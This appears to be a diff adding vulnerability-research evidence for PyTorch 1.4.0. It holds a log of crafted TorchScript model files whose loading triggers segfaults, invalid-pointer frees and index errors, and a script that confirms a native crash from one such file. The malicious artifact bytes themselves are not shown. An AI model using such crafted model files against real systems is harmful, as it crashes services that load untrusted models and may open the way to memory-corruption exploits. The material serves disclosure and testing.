evidence/torch_1_4_matrix.txt
ADDED
|
@@ -0,0 +1,229 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
python=/workspace/torchscript_v1_4_agent_runtime/.venv38/bin/python
|
| 2 |
+
timeout=8.0
|
| 3 |
+
mem_mib=0
|
| 4 |
+
|
| 5 |
+
## appends_mark_no_container.pt
|
| 6 |
+
rc=1 elapsed=1.749s
|
| 7 |
+
[stdout]
|
| 8 |
+
python=3.8.20
|
| 9 |
+
torch=1.4.0
|
| 10 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/appends_mark_no_container.pt
|
| 11 |
+
[stderr]
|
| 12 |
+
Traceback (most recent call last):
|
| 13 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 14 |
+
main()
|
| 15 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 16 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 17 |
+
File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
|
| 18 |
+
cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
|
| 19 |
+
IndexError: vector::_M_range_check: __n (which is 18446744073709551615) >= this->size() (which is 0)
|
| 20 |
+
|
| 21 |
+
## binget_oob.pt
|
| 22 |
+
rc=1 elapsed=1.781s
|
| 23 |
+
[stdout]
|
| 24 |
+
python=3.8.20
|
| 25 |
+
torch=1.4.0
|
| 26 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/binget_oob.pt
|
| 27 |
+
[stderr]
|
| 28 |
+
Traceback (most recent call last):
|
| 29 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 30 |
+
main()
|
| 31 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 32 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 33 |
+
File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
|
| 34 |
+
cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
|
| 35 |
+
IndexError: vector::_M_range_check: __n (which is 255) >= this->size() (which is 0)
|
| 36 |
+
|
| 37 |
+
## compressed_constants_128m.pt
|
| 38 |
+
timeout elapsed=8.428s
|
| 39 |
+
[stdout]
|
| 40 |
+
python=3.8.20
|
| 41 |
+
torch=1.4.0
|
| 42 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/compressed_constants_128m.pt
|
| 43 |
+
[stderr]
|
| 44 |
+
|
| 45 |
+
## dict_odd_item_count.pt
|
| 46 |
+
rc=1 elapsed=2.021s
|
| 47 |
+
[stdout]
|
| 48 |
+
python=3.8.20
|
| 49 |
+
torch=1.4.0
|
| 50 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/dict_odd_item_count.pt
|
| 51 |
+
[stderr]
|
| 52 |
+
Traceback (most recent call last):
|
| 53 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 54 |
+
main()
|
| 55 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 56 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 57 |
+
File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
|
| 58 |
+
cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
|
| 59 |
+
RuntimeError: Can't hash IValues with this tag
|
| 60 |
+
|
| 61 |
+
## duplicate_constants_first_benign_second_crash.pt
|
| 62 |
+
rc=-11 elapsed=2.020s
|
| 63 |
+
[stdout]
|
| 64 |
+
python=3.8.20
|
| 65 |
+
torch=1.4.0
|
| 66 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/duplicate_constants_first_benign_second_crash.pt
|
| 67 |
+
[stderr]
|
| 68 |
+
|
| 69 |
+
## huge_binunicode_256m.pt
|
| 70 |
+
rc=1 elapsed=2.243s
|
| 71 |
+
[stdout]
|
| 72 |
+
python=3.8.20
|
| 73 |
+
torch=1.4.0
|
| 74 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/huge_binunicode_256m.pt
|
| 75 |
+
[stderr]
|
| 76 |
+
Traceback (most recent call last):
|
| 77 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 78 |
+
main()
|
| 79 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 80 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 81 |
+
File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
|
| 82 |
+
cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
|
| 83 |
+
RuntimeError: Unexpected end of pickler archive. (readBytes at /pytorch/torch/csrc/jit/unpickler.cpp:649)
|
| 84 |
+
frame #0: c10::Error::Error(c10::SourceLocation, std::string const&) + 0x33 (0x74f117e2f193 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libc10.so)
|
| 85 |
+
frame #1: <unknown function> + 0x40662d4 (0x74f02dc662d4 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
|
| 86 |
+
frame #2: <unknown function> + 0x406f4cc (0x74f02dc6f4cc in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
|
| 87 |
+
frame #3: <unknown function> + 0x4072620 (0x74f02dc72620 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
|
| 88 |
+
frame #4: <unknown function> + 0x4072a33 (0x74f02dc72a33 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
|
| 89 |
+
frame #5: <unknown function> + 0x4093bd3 (0x74f02dc93bd3 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
|
| 90 |
+
frame #6: <unknown function> + 0x40960b4 (0x74f02dc960b4 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
|
| 91 |
+
frame #7: torch::jit::import_ir_module(std::shared_ptr<torch::jit::script::CompilationUnit>, std::string const&, c10::optional<c10::Device>, std::unordered_map<std::string, std::string, std::hash<std::string>, std::equal_to<std::string>, std::allocator<std::pair<std::string const, std::string> > >&) + 0xd7 (0x74f02dc968e7 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
|
| 92 |
+
frame #8: <unknown function> + 0x769052 (0x74f074969052 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch_python.so)
|
| 93 |
+
frame #9: <unknown function> + 0x295928 (0x74f074495928 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch_python.so)
|
| 94 |
+
<omitting python frames>
|
| 95 |
+
frame #25: <unknown function> + 0x2a1ca (0x74f11c4d21ca in /lib/x86_64-linux-gnu/libc.so.6)
|
| 96 |
+
frame #26: __libc_start_main + 0x8b (0x74f11c4d228b in /lib/x86_64-linux-gnu/libc.so.6)
|
| 97 |
+
frame #27: <unknown function> + 0x108e (0x578e527a308e in /workspace/torchscript_v1_4_agent_runtime/.venv38/bin/python)
|
| 98 |
+
|
| 99 |
+
|
| 100 |
+
## long_binget_oob.pt
|
| 101 |
+
rc=1 elapsed=1.893s
|
| 102 |
+
[stdout]
|
| 103 |
+
python=3.8.20
|
| 104 |
+
torch=1.4.0
|
| 105 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/long_binget_oob.pt
|
| 106 |
+
[stderr]
|
| 107 |
+
Traceback (most recent call last):
|
| 108 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 109 |
+
main()
|
| 110 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 111 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 112 |
+
File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
|
| 113 |
+
cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
|
| 114 |
+
IndexError: vector::_M_range_check: __n (which is 4294967295) >= this->size() (which is 0)
|
| 115 |
+
|
| 116 |
+
## setitems_odd_item_count.pt
|
| 117 |
+
rc=1 elapsed=1.911s
|
| 118 |
+
[stdout]
|
| 119 |
+
python=3.8.20
|
| 120 |
+
torch=1.4.0
|
| 121 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/setitems_odd_item_count.pt
|
| 122 |
+
[stderr]
|
| 123 |
+
Traceback (most recent call last):
|
| 124 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
|
| 125 |
+
main()
|
| 126 |
+
File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
|
| 127 |
+
torch.jit.load(args.artifact, map_location="cpu")
|
| 128 |
+
File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
|
| 129 |
+
cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
|
| 130 |
+
RuntimeError: Can't hash IValues with this tag
|
| 131 |
+
|
| 132 |
+
## underflow_appends.pt
|
| 133 |
+
rc=-11 elapsed=1.938s
|
| 134 |
+
[stdout]
|
| 135 |
+
python=3.8.20
|
| 136 |
+
torch=1.4.0
|
| 137 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt
|
| 138 |
+
[stderr]
|
| 139 |
+
|
| 140 |
+
## underflow_binpersid.pt
|
| 141 |
+
rc=-11 elapsed=3.175s
|
| 142 |
+
[stdout]
|
| 143 |
+
python=3.8.20
|
| 144 |
+
torch=1.4.0
|
| 145 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_binpersid.pt
|
| 146 |
+
[stderr]
|
| 147 |
+
|
| 148 |
+
## underflow_build_empty.pt
|
| 149 |
+
rc=-11 elapsed=2.687s
|
| 150 |
+
[stdout]
|
| 151 |
+
python=3.8.20
|
| 152 |
+
torch=1.4.0
|
| 153 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_empty.pt
|
| 154 |
+
[stderr]
|
| 155 |
+
|
| 156 |
+
## underflow_build_one.pt
|
| 157 |
+
rc=-6 elapsed=6.526s
|
| 158 |
+
[stdout]
|
| 159 |
+
python=3.8.20
|
| 160 |
+
torch=1.4.0
|
| 161 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_one.pt
|
| 162 |
+
[stderr]
|
| 163 |
+
free(): invalid pointer
|
| 164 |
+
|
| 165 |
+
## underflow_newobj.pt
|
| 166 |
+
rc=-11 elapsed=4.485s
|
| 167 |
+
[stdout]
|
| 168 |
+
python=3.8.20
|
| 169 |
+
torch=1.4.0
|
| 170 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_newobj.pt
|
| 171 |
+
[stderr]
|
| 172 |
+
|
| 173 |
+
## underflow_reduce_empty.pt
|
| 174 |
+
rc=-11 elapsed=3.671s
|
| 175 |
+
[stdout]
|
| 176 |
+
python=3.8.20
|
| 177 |
+
torch=1.4.0
|
| 178 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_empty.pt
|
| 179 |
+
[stderr]
|
| 180 |
+
|
| 181 |
+
## underflow_reduce_one.pt
|
| 182 |
+
rc=-6 elapsed=3.548s
|
| 183 |
+
[stdout]
|
| 184 |
+
python=3.8.20
|
| 185 |
+
torch=1.4.0
|
| 186 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_one.pt
|
| 187 |
+
[stderr]
|
| 188 |
+
free(): invalid pointer
|
| 189 |
+
|
| 190 |
+
## underflow_setitems.pt
|
| 191 |
+
rc=-11 elapsed=3.405s
|
| 192 |
+
[stdout]
|
| 193 |
+
python=3.8.20
|
| 194 |
+
torch=1.4.0
|
| 195 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_setitems.pt
|
| 196 |
+
[stderr]
|
| 197 |
+
|
| 198 |
+
## underflow_tuple.pt
|
| 199 |
+
rc=-11 elapsed=3.736s
|
| 200 |
+
[stdout]
|
| 201 |
+
python=3.8.20
|
| 202 |
+
torch=1.4.0
|
| 203 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple.pt
|
| 204 |
+
[stderr]
|
| 205 |
+
|
| 206 |
+
## underflow_tuple1.pt
|
| 207 |
+
rc=-11 elapsed=3.667s
|
| 208 |
+
[stdout]
|
| 209 |
+
python=3.8.20
|
| 210 |
+
torch=1.4.0
|
| 211 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple1.pt
|
| 212 |
+
[stderr]
|
| 213 |
+
|
| 214 |
+
## underflow_tuple2.pt
|
| 215 |
+
rc=-11 elapsed=3.836s
|
| 216 |
+
[stdout]
|
| 217 |
+
python=3.8.20
|
| 218 |
+
torch=1.4.0
|
| 219 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple2.pt
|
| 220 |
+
[stderr]
|
| 221 |
+
|
| 222 |
+
## underflow_tuple3.pt
|
| 223 |
+
rc=-11 elapsed=3.588s
|
| 224 |
+
[stdout]
|
| 225 |
+
python=3.8.20
|
| 226 |
+
torch=1.4.0
|
| 227 |
+
artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple3.pt
|
| 228 |
+
[stderr]
|
| 229 |
+
|
verify_torchscript_v14_dos.py
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from __future__ import annotations
|
| 2 |
+
|
| 3 |
+
import argparse
|
| 4 |
+
import hashlib
|
| 5 |
+
import json
|
| 6 |
+
import subprocess
|
| 7 |
+
import sys
|
| 8 |
+
from pathlib import Path
|
| 9 |
+
|
| 10 |
+
|
| 11 |
+
ROOT = Path(__file__).resolve().parent
|
| 12 |
+
ARTIFACT = ROOT / "artifacts" / "underflow_appends.pt"
|
| 13 |
+
EXPECTED_SHA256 = "bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1"
|
| 14 |
+
|
| 15 |
+
|
| 16 |
+
LOAD_ONCE = r"""
|
| 17 |
+
import os
|
| 18 |
+
import sys
|
| 19 |
+
import torch
|
| 20 |
+
|
| 21 |
+
artifact = sys.argv[1]
|
| 22 |
+
print(f"python={sys.version.split()[0]}", flush=True)
|
| 23 |
+
print(f"torch={torch.__version__}", flush=True)
|
| 24 |
+
print(f"artifact={os.path.abspath(artifact)}", flush=True)
|
| 25 |
+
torch.jit.load(artifact, map_location="cpu")
|
| 26 |
+
print("loaded", flush=True)
|
| 27 |
+
"""
|
| 28 |
+
|
| 29 |
+
|
| 30 |
+
def sha256(path: Path) -> str:
|
| 31 |
+
h = hashlib.sha256()
|
| 32 |
+
with path.open("rb") as handle:
|
| 33 |
+
for chunk in iter(lambda: handle.read(1024 * 1024), b""):
|
| 34 |
+
h.update(chunk)
|
| 35 |
+
return h.hexdigest()
|
| 36 |
+
|
| 37 |
+
|
| 38 |
+
def main() -> int:
|
| 39 |
+
parser = argparse.ArgumentParser()
|
| 40 |
+
parser.add_argument(
|
| 41 |
+
"--python",
|
| 42 |
+
default=sys.executable,
|
| 43 |
+
help="Python executable with torch==1.4.0 installed.",
|
| 44 |
+
)
|
| 45 |
+
args = parser.parse_args()
|
| 46 |
+
|
| 47 |
+
digest = sha256(ARTIFACT)
|
| 48 |
+
if digest != EXPECTED_SHA256:
|
| 49 |
+
raise SystemExit(f"unexpected artifact sha256: {digest}")
|
| 50 |
+
|
| 51 |
+
proc = subprocess.run(
|
| 52 |
+
[args.python, "-c", LOAD_ONCE, str(ARTIFACT)],
|
| 53 |
+
cwd=ROOT,
|
| 54 |
+
text=True,
|
| 55 |
+
capture_output=True,
|
| 56 |
+
timeout=20,
|
| 57 |
+
)
|
| 58 |
+
result = {
|
| 59 |
+
"artifact": str(ARTIFACT),
|
| 60 |
+
"artifact_sha256": digest,
|
| 61 |
+
"python": args.python,
|
| 62 |
+
"returncode": proc.returncode,
|
| 63 |
+
"stdout": proc.stdout,
|
| 64 |
+
"stderr": proc.stderr,
|
| 65 |
+
"native_crash": proc.returncode < 0 or proc.returncode in {134, 139},
|
| 66 |
+
}
|
| 67 |
+
print(json.dumps(result, indent=2))
|
| 68 |
+
|
| 69 |
+
if not result["native_crash"]:
|
| 70 |
+
return 1
|
| 71 |
+
return 0
|
| 72 |
+
|
| 73 |
+
|
| 74 |
+
if __name__ == "__main__":
|
| 75 |
+
raise SystemExit(main())
|